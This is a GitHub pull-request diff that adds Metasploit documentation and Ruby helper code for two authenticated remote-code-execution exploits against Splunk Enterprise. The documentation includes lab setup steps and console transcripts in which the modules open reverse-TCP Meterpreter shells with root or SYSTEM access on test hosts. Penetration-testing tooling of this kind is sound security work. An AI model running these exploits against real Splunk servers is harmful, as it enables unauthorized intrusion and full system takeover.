Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
## Vulnerable Application

This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).

The flaw is rooted in the unsafe use of a Splunk lookup function, specifically `| copybuckets`, within the splunk_archiver application, which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.

The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.

## Testing

### Docker

```
docker run \
--name splunk \
-p 8000:8000 \
-p 8088:8088 \
-p 9997:9997 \
-e "SPLUNK_START_ARGS=--accept-license" \
-e "SPLUNK_PASSWORD=password123" \
splunk/splunk:8.2.4
```

### Manual

1. Download Splunk
```
wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb 'https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb'
```

2. Install
```
sudo dpkg -i splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb
```

3. Execute
```
/opt/splunk/bin/splunk start
```

## Scenario

```
msf6 > use linux/http/splunk_auth_rce_cve_2024_36985
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RHOSTS 192.168.19.139
RHOSTS => 192.168.19.139
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RPORT 8000
RPORT => 8000
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set FETCH_SRVPORT 8090
FETCH_SRVPORT => 8090
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run

[*] Started reverse TCP handler on 192.168.19.130:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4, splunk_archiver app is enabled
[*] Sending stage (3045380 bytes) to 192.168.19.139
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.139:55936) at 2025-12-12 15:04:44 -0500

meterpreter > sysinfo
Computer : 192.168.19.139
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application

This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.

An attacker can inject arbitrary Python code into style parameters, such as the `fillColor` or `lineColor` of a sparkline element within a Splunk SimpleXML dashboard.
The malicious code is executed when a user triggers the PDF export function for the dashboard.

The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.

## Testing

### Linux

#### Docker

```
docker run \
--name splunk \
-p 8000:8000 \
-p 8088:8088 \
-p 9997:9997 \
-e "SPLUNK_START_ARGS=--accept-license" \
-e "SPLUNK_PASSWORD=password123" \
splunk/splunk:8.2.4
```

#### Manual

1. Download Splunk
```
wget -O splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb 'https://download.splunk.com/products/splunk/releases/8.2.4/linux/splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb'
```

2. Install
```
sudo dpkg -i splunk-8.2.4-87e2dda940d1-linux-2.6-amd64.deb
```

3. Execute
```
/opt/splunk/bin/splunk start
```

### Windows

1. Download Splunk
```
wget -O splunk-8.2.6-a6fe1ee8894b-x64-release.msi "https://download.splunk.com/products/splunk/releases/8.2.6/windows/splunk-8.2.6-a6fe1ee8894b-x64-release.msi"
```

2. Install

3. Execute

```
"C:\Program Files\Splunk\bin\splunk.exe" start
```

## Scenario

### Linux

```
msf6 > use multi/http/splunk_auth_rce_cve_2022
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.139
RHOSTS => 192.168.19.139
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000
RPORT => 8000
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run

[*] Started reverse TCP handler on 192.168.19.130:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4
[*] Sending stage (24772 bytes) to 192.168.19.139
[*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.139:59524) at 2025-12-12 15:11:44 -0500

meterpreter > sysinfo
Computer : ubuntu
OS : Linux 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: root
```

### Windows

```
msf6 > use multi/http/splunk_auth_rce_cve_2022_43571
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.137
RHOSTS => 192.168.19.137
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000
RPORT => 8000
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run

[*] Started reverse TCP handler on 192.168.19.130:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.6
[*] Sending stage (24772 bytes) to 192.168.19.137
[*] Meterpreter session 3 opened (192.168.19.130:4444 -> 192.168.19.137:62128) at 2025-12-12 15:21:53 -0500

meterpreter > sysinfo
Computer : DESKTOP-vognik
OS : Windows 10 (Build 19044)
Architecture : x64
System Language : en_US
Meterpreter : python/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
2 changes: 2 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,8 @@ module Splunk
include Msf::Exploit::Remote::HTTP::Splunk::Login
include Msf::Exploit::Remote::HTTP::Splunk::URIs
include Msf::Exploit::Remote::HTTP::Splunk::Version
include Msf::Exploit::Remote::HTTP::Splunk::Dashboards
include Msf::Exploit::Remote::HTTP::Splunk::Search

def initialize(info = {})
super
Expand Down
54 changes: 54 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/apps.rb
Original file line number Diff line number Diff line change
Expand Up @@ -47,4 +47,58 @@ def splunk_upload_app(app_name, cookie)

true
end

# Retrieves a list of installed Splunk apps along with their status
#
# @param cookie [String] Valid admin's cookie
# @return [Hash] A hash where keys are app names and values are hashes with app status
def get_apps(cookie)
apps = {}
vars_get = {}

loop do
res = send_request_cgi(
'uri' => splunk_apps_url,
'method' => 'GET',
'cookie' => cookie,
'vars_get' => vars_get
)

unless res&.code == 200
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Failed to retrieve apps (HTTP #{res&.code})")
end

html = res.get_html_document
table = html.at('table.splTable')
break unless table

table.css('tr').each do |row|
name_td = row.at('td.col-generic.col-2')
status_td = row.at('td.col-status.col-7')

next unless name_td && status_td

name = name_td.text.strip
status = status_td.text.strip.split.first
apps[name] = { status: status }
end

vars_get = extract_next_page_vars(html)
break unless vars_get
end

apps
end

# Selects a random Splunk app from the installed apps, optionally filtered by criteria
#
# @param cookie [String] Valid admin's cookie
# @param filter [Hash] Optional filter criteria (e.g., status: 'enabled')
# @return [String, nil] The name of a random app matching the filter, or nil if none found
def get_random_app(cookie, filter = {})
all_apps = get_apps(cookie)
filtered_apps = filter_apps(all_apps, filter).keys

filtered_apps.sample
end
end
92 changes: 92 additions & 0 deletions lib/msf/core/exploit/remote/http/splunk/dashboards.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
# -*- coding: binary -*-

# This module provides a way of interacting with Splunk dashboards
module Msf::Exploit::Remote::HTTP::Splunk::Dashboards
# Creates a new Splunk dashboard in the specified namespace
#
# @param namespace [String] The Splunk namespace (usually a user or app) where the dashboard will be created
# @param name [String] The name of the dashboard
# @param template [String] The dashboard template content
# @param cookie [String] Valid admin's cookie
# @return [Rex::Proto::Http::Response] HTTP response object
def create_dashboard(namespace, name, template, cookie)
csrf = extract_csrf_token(cookie)

res = send_request_cgi(
'uri' => splunk_dashboard_create_api_url(namespace),
'method' => 'POST',
'vars_get' => {
'output_mode' => 'json'
},
'vars_post' => {
'name' => name,
'eai:data' => template,
'eai:type' => 'views'
},
'cookie' => cookie,
'headers' => {
'X-Splunk-Form-Key' => csrf,
'X-Requested-With': 'XMLHttpRequest'
}
)
unless res&.code == 201
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

res
end

# Exports a Splunk dashboard to PDF
#
# @param namespace [String] The Splunk namespace where the dashboard resides
# @param name [String] The name of the dashboard to export
# @param cookie [String] Valid admin's cookie
# @return [Rex::Proto::Http::Response] HTTP response object containing the exported PDF
def export_dashboard(namespace, name, cookie)
csrf = extract_csrf_token(cookie)

res = send_request_cgi(
'uri' => splunk_dashboard_pdf_export_api_url(namespace, name),
'method' => 'POST',
'vars_post' => {
'input-dashboard' => name,
'namespace' => namespace,
'splunk_form_key' => csrf
},
'cookie' => cookie
)
unless res&.code == 200
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

res
end

# Deletes a Splunk dashboard from the specified namespace
#
# @param namespace [String] The Splunk namespace where the dashboard resides
# @param name [String] The name of the dashboard to delete
# @param cookie [String] Valid admin's cookie
# @return [Rex::Proto::Http::Response] HTTP response object
def delete_dashboard(namespace, name, cookie)
csrf = extract_csrf_token(cookie)

res = send_request_cgi(
'uri' => splunk_dashboard_delete_api_url(namespace, name),
'method' => 'DELETE',
'vars_get' => {
'output_mode' => 'json'
},
'cookie' => @cookie,
'headers' => {
'X-Requested-With': 'XMLHttpRequest',
'X-Splunk-Form-Key' => csrf
}
)
unless res&.code == 200
fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

res
end
end
Loading
Loading